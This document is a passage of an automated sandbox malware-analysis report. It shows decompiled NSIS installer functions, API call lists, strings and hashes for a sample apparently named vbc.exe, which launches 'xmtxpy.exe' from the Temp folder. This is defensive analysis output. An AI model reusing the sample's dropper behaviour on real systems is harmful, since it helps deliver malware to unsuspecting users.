0x004043ba
0x004043bf
0x004043c7
0x004043d4
0x004043e8
0x004043ec
0x004043ec
0x004043e8
0x004043f1
0x004043fc
0x004043fc
0x004043ab
0x00000000
0x00404360
0x0040434e
0x00000000
0x00000000
0x00404354
0x00000000
0x004042bc
0x004042bc
0x004042c8
0x004042d2
0x004042df
0x004042df
0x004042e5
0x004042ee
0x004042f7
0x004042fa
0x004042fd
0x00404305
0x00404308
0x0040430b
0x00404313
0x0040431a
0x00404321
0x00404595
0x004045a7
0x004045a7
0x0040432c
0x00000000
0x0040432c

APIs

GetDlgItem.USER32(?,000003FB), ref: 004042C1
SetWindowTextA.USER32(?,?), ref: 004042EE
SHBrowseForFolderA.SHELL32(?,0041F868,?), ref: 004043A3
CoTaskMemFree.OLE32(00000000), ref: 004043AE
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00420498,00000000,?,?), ref: 004043E0
lstrcatA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd), ref: 004043EC
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004043FC

Part of subcall function 0040532A: GetDlgItemTextA.USER32 ref: 0040533D

Part of subcall function 00405CE3: CharNextA.USER32(?), ref: 00405D3B
Part of subcall function 00405CE3: CharNextA.USER32(?), ref: 00405D48
Part of subcall function 00405CE3: CharNextA.USER32(?), ref: 00405D4D
Part of subcall function 00405CE3: CharPrevA.USER32(?,?), ref: 00405D5D

GetDiskFreeSpaceA.KERNEL32(0041F460,?,?,0000040F,?,0041F460,0041F460,?,00000000,0041F460,?,?,000003FB,?), ref: 004044B5
MulDiv.KERNEL32 ref: 004044D0
SetDlgItemTextA.USER32(00000000,00000400,0041F450), ref: 00404549

Strings

A, xrefs: 0040439C
C:\Users\user\AppData\Local\Temp, xrefs: 004043C9
C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd, xrefs: 004043DA, 004043DF, 004043EA

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd
API String ID: 2246997448-3263883584
Opcode ID: 9160f627fd824642e8b844dcf08aeaa1494bcf147798ed7fcce5c5106f52e304
Instruction ID: 6850db0b715ddbe2af210025c5f30c7158fed24285b7178da21f46715b177744
Opcode Fuzzy Hash: 9160f627fd824642e8b844dcf08aeaa1494bcf147798ed7fcce5c5106f52e304
Instruction Fuzzy Hash: BA9162B1A00218BBDF11AFA1DD85AAF77B8EF84314F10403BFB04B6291D77C9A419B59

Uniqueness

Uniqueness Score: -1.00%

Function 00405AA7 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 195
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00405AA7(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed char _v24;
				signed int _v28;
				signed int _t36;
				CHAR* _t37;
				signed char _t39;
				signed int _t40;
				int _t41;
				char _t51;
				char _t52;
				char _t54;
				char _t56;
				void* _t64;
				signed int _t68;
				intOrPtr _t72;
				signed int _t73;
				signed char _t74;
				intOrPtr _t77;
				char _t81;
				void* _t83;
				CHAR* _t84;
				void* _t86;
				signed int _t93;
				signed int _t95;
				void* _t96;

				_t86 = __esi;
				_t83 = __edi;
				_t64 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t77 =  *0x42367c; // 0x8c223a
					_t36 =  *(_t77 - 4 + _t36 * 4);
				}
				_t72 =  *0x423ed8; // 0x8c1cb8
				_t73 = _t72 + _t36;
				_t37 = 0x422e40;
				_push(_t64);
				_push(_t86);
				_push(_t83);
				_t84 = 0x422e40;
				if(_a4 - 0x422e40 < 0x800) {
					_t84 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t81 =  *_t73;
					if(_t81 == 0) {
						break;
					}
					__eflags = _t84 - _t37 - 0x400;
					if(_t84 - _t37 >= 0x400) {
						break;
					}
					_t73 = _t73 + 1;
					__eflags = _t81 - 0xfc;
					_a8 = _t73;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t84 = _t81;
							_t84 =  &(_t84[1]);
							__eflags = _t84;
						} else {
							 *_t84 =  *_t73;
							_t84 =  &(_t84[1]);
							_t73 = _t73 + 1;
						}
						continue;
					}
					_t39 =  *(_t73 + 1);
					_t74 =  *_t73;
					_a8 = _a8 + 2;
					_v20 = _t39;
					_t93 = (_t39 & 0x0000007f) << 0x00000007 | _t74 & 0x0000007f;
					_t68 = _t74;
					_t40 = _t39 | 0x00000080;
					__eflags = _t81 - 0xfe;
					_v28 = _t68;
					_v24 = _t74 | 0x00000080;
					_v16 = _t40;
					if(_t81 != 0xfe) {
						__eflags = _t81 - 0xfd;
						if(_t81 != 0xfd) {
							__eflags = _t81 - 0xff;
							if(_t81 == 0xff) {
								__eflags = (_t40 | 0xffffffff) - _t93;
								E00405AA7(_t68, _t84, _t93, _t84, (_t40 | 0xffffffff) - _t93);
							}
							L41:
							_t41 = lstrlenA(_t84);
							_t73 = _a8;
							_t84 =  &(_t84[_t41]);
							_t37 = 0x422e40;
							continue;
						}
						__eflags = _t93 - 0x1d;
						if(_t93 != 0x1d) {
							__eflags = (_t93 << 0xa) + 0x424000;
							E00405A85(_t84, (_t93 << 0xa) + 0x424000);
						} else {
							E004059E3(_t84,  *0x423ea8);
						}
						__eflags = _t93 + 0xffffffeb - 7;
						if(_t93 + 0xffffffeb < 7) {
							L32:
							E00405CE3(_t84);
						}
						goto L41;
					}
					_t95 = 2;
					_t51 = GetVersion();
					__eflags = _t51;
					if(_t51 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423f24;
						if( *0x423f24 != 0) {
							_t95 = 4;
						}
						__eflags = _t68;
						if(_t68 >= 0) {
							__eflags = _t68 - 0x25;
							if(_t68 != 0x25) {
								__eflags = _t68 - 0x24;
								if(_t68 == 0x24) {
									GetWindowsDirectoryA(_t84, 0x400);
									_t95 = 0;
								}
								while(1) {
									__eflags = _t95;
									if(_t95 == 0) {
										goto L29;
									}
									_t52 =  *0x423ea4; // 0x74631528
									_t95 = _t95 - 1;
									__eflags = _t52;
									if(_t52 == 0) {
										L25:
										_t54 = SHGetSpecialFolderLocation( *0x423ea8,  *(_t96 + _t95 * 4 - 0x18),  &_v12);
										__eflags = _t54;
										if(_t54 != 0) {
											L27:
											 *_t84 =  *_t84 & 0x00000000;
											__eflags =  *_t84;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t84);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t54;
										if(_t54 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t56 =  *_t52( *0x423ea8,  *(_t96 + _t95 * 4 - 0x18), 0, 0, _t84);
									__eflags = _t56;
									if(_t56 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t84, 0x400);
							goto L29;
						} else {
							_t71 = (_t68 & 0x0000003f) +  *0x423ed8;
							E0040596C(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t68 & 0x0000003f) +  *0x423ed8, _t84, _t68 & 0x00000040);
							__eflags =  *_t84;
							if( *_t84 != 0) {
								L30:
								__eflags = _v20 - 0x1a;
								if(_v20 == 0x1a) {
									lstrcatA(_t84, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E00405AA7(_t71, _t84, _t95, _t84, _v20);
							L29:
							__eflags =  *_t84;
							if( *_t84 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t51 - 0x5a04;
					if(_t51 == 0x5a04) {
						goto L12;
					}
					__eflags = _v20 - 0x23;
					if(_v20 == 0x23) {
						goto L12;
					}
					__eflags = _v20 - 0x2e;
					if(_v20 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t84 =  *_t84 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E00405A85(_a4, _t37);
			}

0x00405aa7
0x00405aa7
0x00405aa7
0x00405aad
0x00405ab2
0x00405ab4
0x00405ac3
0x00405ac3
0x00405ac5
0x00405ace
0x00405ad0
0x00405ad5
0x00405ad8
0x00405ad9
0x00405ae0
0x00405ae2
0x00405ae8
0x00405aeb
0x00405aeb
0x00405cc0
0x00405cc0
0x00405cc4
0x00000000
0x00000000
0x00405af8
0x00405afe
0x00000000
0x00000000
0x00405b04
0x00405b05
0x00405b08
0x00405b0b
0x00405cb3
0x00405cbd
0x00405cbf
0x00405cbf
0x00405cb5
0x00405cb7
0x00405cb9
0x00405cba
0x00405cba
0x00000000
0x00405cb3
0x00405b11
0x00405b15
0x00405b1a
0x00405b29
0x00405b2c
0x00405b2e
0x00405b33
0x00405b36
0x00405b39
0x00405b3c
0x00405b3f
0x00405b42
0x00405c5d
0x00405c60
0x00405c90
0x00405c93
0x00405c98
0x00405c9c
0x00405c9c
0x00405ca1
0x00405ca2
0x00405ca7
0x00405caa
0x00405cac
0x00000000
0x00405cac
0x00405c62
0x00405c65
0x00405c7a
0x00405c81
0x00405c67
0x00405c6e
0x00405c6e
0x00405c89
0x00405c8c
0x00405c55
0x00405c56
0x00405c56
0x00000000
0x00405c8c
0x00405b4a
0x00405b4b
0x00405b51
0x00405b53
0x00405b6d
0x00405b6d
0x00405b74
0x00405b74
0x00405b7b
0x00405b7f
0x00405b7f
0x00405b80
0x00405b82
0x00405bbb
0x00405bbe
0x00405bce
0x00405bd1
0x00405bd9
0x00405bdf
0x00405bdf
0x00405c3b
0x00405c3b
0x00405c3d
0x00000000
0x00000000
0x00405be3
0x00405bea
0x00405beb
0x00405bed
0x00405c07
0x00405c15
0x00405c1b
0x00405c1d
0x00405c38
0x00405c38
0x00405c38
0x00000000
0x00405c38
0x00405c23
0x00405c2e
0x00405c34
0x00405c36
0x00000000
0x00000000
0x00000000
0x00405c36
0x00405bef
0x00405bf2
0x00000000
0x00000000
0x00405c01
0x00405c03
0x00405c05
0x00000000
0x00000000
0x00000000
0x00405c05
0x00000000
0x00405c3b
0x00405bc6
0x00000000
0x00405b84
0x00405b89
0x00405b9f
0x00405ba4
0x00405ba7
0x00405c44
0x00405c44
0x00405c48
0x00405c50
0x00405c50
0x00000000
0x00405c48
0x00405bb1
0x00405c3f
0x00405c3f
0x00405c42
0x00000000
0x00000000
0x00000000
0x00405c42
0x00405b82
0x00405b55
0x00405b59
0x00000000
0x00000000
0x00405b5b
0x00405b5f
0x00000000
0x00000000
0x00405b61
0x00405b65
0x00000000
0x00405b67
0x00405b67
0x00000000
0x00405b67
0x00405b65
0x00405cca
0x00405cd4
0x00405ce0
0x00405ce0
0x00000000

APIs

GetVersion.KERNEL32(00000000,0041FC70,00000000,00404E5B,0041FC70,00000000), ref: 00405B4B
GetSystemDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00000400), ref: 00405BC6
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00000400), ref: 00405BD9
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405C15
SHGetPathFromIDListA.SHELL32(00000000,C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd), ref: 00405C23
CoTaskMemFree.OLE32(00000000), ref: 00405C2E
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,\Microsoft\Internet Explorer\Quick Launch), ref: 00405C50
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd,00000000,0041FC70,00000000,00404E5B,0041FC70,00000000), ref: 00405CA2

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405C4A
C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd, xrefs: 00405AD0, 00405B93, 00405BB0, 00405BC5, 00405BD8, 00405BF4, 00405C1F, 00405C4F, 00405C55, 00405C6D, 00405C80, 00405C9B, 00405CA1, 00405CAC, 00405CD6
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405B95

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-648608478
Opcode ID: 8c89faea656f75211a43bdfb02caabddeac7d8c4cf190b1a32756d1be722affe
Instruction ID: 02e69832ec688910c0edf1e4f77165a8fa6b6d990b95ba5e8d1c2d1c59892890
Opcode Fuzzy Hash: 8c89faea656f75211a43bdfb02caabddeac7d8c4cf190b1a32756d1be722affe
Instruction Fuzzy Hash: B251E371A08B19ABEB215B64CC84BBF3B74EB15714F14023BE911BA2D0D37C5982DE4E

Uniqueness

Uniqueness Score: -1.00%

Function 00402012 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402012() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E004029E8(0xfffffff0);
				_t96 = E004029E8(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x2c)) = E004029E8(2);
				 *((intOrPtr*)(_t100 - 8)) = E004029E8(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x44)) = E004029E8(0x45);
				if(E004055E5(_t96) == 0) {
					E004029E8(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x407384, _t75, 1, 0x407374, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407394, _t100 - 0x34);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\Albus\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x14);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x14);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409360, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 0x34));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409360, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 0x34));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

0x0040201b
0x00402025
0x0040202e
0x00402038
0x00402041
0x0040204b
0x0040204f
0x0040204f
0x00402054
0x00402065
0x0040206d
0x0040214d
0x0040214d
0x00402154
0x00402073
0x00402073
0x00402084
0x00402088
0x0040208e
0x00402098
0x0040209a
0x004020a5
0x004020a8
0x004020b5
0x004020b7
0x004020b9
0x004020c0
0x004020c3
0x004020c3
0x004020c6
0x004020d0
0x004020d8
0x004020dd
0x004020e9
0x004020e9
0x004020ec
0x004020f5
0x004020f8
0x00402101
0x00402106
0x00402118
0x00402127
0x00402129
0x00402135
0x00402135
0x00402127
0x00402137
0x0040213d
0x0040213d
0x00402140
0x00402146
0x0040214b
0x00402160
0x00000000
0x00000000
0x00000000
0x0040214b
0x00402156
0x00402880
0x0040288c

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?), ref: 00402065
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409360,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040211F

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 0040209D

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-2935972921
Opcode ID: c224b754a24e27b0a3ecd9e0cc6c3a384ffadc9b3130a9beb9220e72134f7772
Instruction ID: 9a85de16ea5d7a81ede148d9b78cdb1ba9a910f30d2aff7a9c0f788a9809de35
Opcode Fuzzy Hash: c224b754a24e27b0a3ecd9e0cc6c3a384ffadc9b3130a9beb9220e72134f7772
Instruction Fuzzy Hash: 0E414DB5A00104AFDB00DFA4CD89E9E7BBABF49314B20416AF905EB2D1DA79DD41CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00402630 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402630(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E004029E8(2), _t19 - 0x1a4) != 0xffffffff) {
					E004059E3(__edi, _t6);
					_push(_t19 - 0x178);
					_push(__esi);
					E00405A85();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402648
0x0040265c
0x00402667
0x00402668
0x004027a3
0x0040264a
0x0040264a
0x0040264c
0x0040264e
0x0040264e
0x00402880
0x0040288c

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040263F

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e252be4d8dac41554fd361ab132364df58656f291f34e3e62bfafec942fe1f51
Instruction ID: 76eef0906e3fa6c86cf2ebea0eb1ad5f879b60bc34498b8afccad509cb3c3919
Opcode Fuzzy Hash: e252be4d8dac41554fd361ab132364df58656f291f34e3e62bfafec942fe1f51
Instruction Fuzzy Hash: 67F0A772A04100EED700EBB59D49EFE7778DF11324F6005BBE111B20C1C7B889419A2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F7F Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403F7F(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				intOrPtr _t71;
				intOrPtr _t85;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t103;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420478 =  *0x420478 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403E9E(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422e40;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422e40
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423ea8, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423ea8, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420478 != 0) {
						goto L25;
					} else {
						_t103 =  *0x41fc68; // 0x0
						_t25 = _t103 + 0x14; // 0x14
						_t112 = _t25;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403E59(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E0040420A();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t107 =  *0x42367c; // 0x8c223a
					_t113 =  *(_t107 - 4 + _t113 * 4);
				}
				_t71 =  *0x423ed8; // 0x8c1cb8
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 + _t71;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403F4B;
				E00403E37(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403E37(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403E59( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403E6C(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t85 =  *0x423eb0; // 0x8c0fa0
				_t86 =  *(_t85 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f45c =  *0x41f45c & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420478 =  *0x420478 & 0x00000000;
				return 0;
			}

0x00403f8f
0x004040b5
0x00404111
0x00404115
0x004041ec
0x004041ee
0x004041ee
0x004041f4
0x004041f4
0x004041f7
0x00000000
0x004041fe
0x00404123
0x00404125
0x0040412f
0x0040413a
0x0040413d
0x00404140
0x0040414b
0x0040414e
0x00404155
0x00404163
0x0040417b
0x00404183
0x0040418e
0x0040419e
0x004041a0
0x004041a0
0x00404155
0x004041aa
0x00000000
0x004041b5
0x004041b9
0x004041ca
0x004041ca
0x004041d0
0x004041de
0x004041de
0x00000000
0x004041e2
0x004041aa
0x004040c0
0x00000000
0x004040d4
0x004040d4
0x004040da
0x004040da
0x004040e0
0x00000000
0x00000000
0x00404105
0x00404107
0x0040410c
0x00000000
0x0040410c
0x004040c0
0x00403f95
0x00403f98
0x00403f9d
0x00403f9f
0x00403fae
0x00403fae
0x00403fb0
0x00403fb5
0x00403fb8
0x00403fba
0x00403fbf
0x00403fc8
0x00403fce
0x00403fda
0x00403fdd
0x00403fe6
0x00403feb
0x00403fee
0x00403ff3
0x0040400a
0x00404011
0x00404024
0x00404027
0x0040403c
0x0040403e
0x00404043
0x00404048
0x0040404d
0x0040404d
0x0040405c
0x0040406b
0x0040406d
0x00404083
0x00404092
0x00404094
0x00000000

APIs

CheckDlgButton.USER32 ref: 0040400A
GetDlgItem.USER32(00000000,000003E8), ref: 0040401E
SendMessageA.USER32 ref: 0040403C
GetSysColor.USER32 ref: 0040404D
SendMessageA.USER32 ref: 0040405C
SendMessageA.USER32 ref: 0040406B
lstrlenA.KERNEL32(?), ref: 00404075
SendMessageA.USER32 ref: 00404083
SendMessageA.USER32 ref: 00404092
GetDlgItem.USER32(?,0000040A), ref: 004040F5
SendMessageA.USER32 ref: 004040F8
GetDlgItem.USER32(?,000003E8), ref: 00404123
SendMessageA.USER32 ref: 00404163
LoadCursorA.USER32 ref: 00404172
SetCursor.USER32(00000000), ref: 0040417B
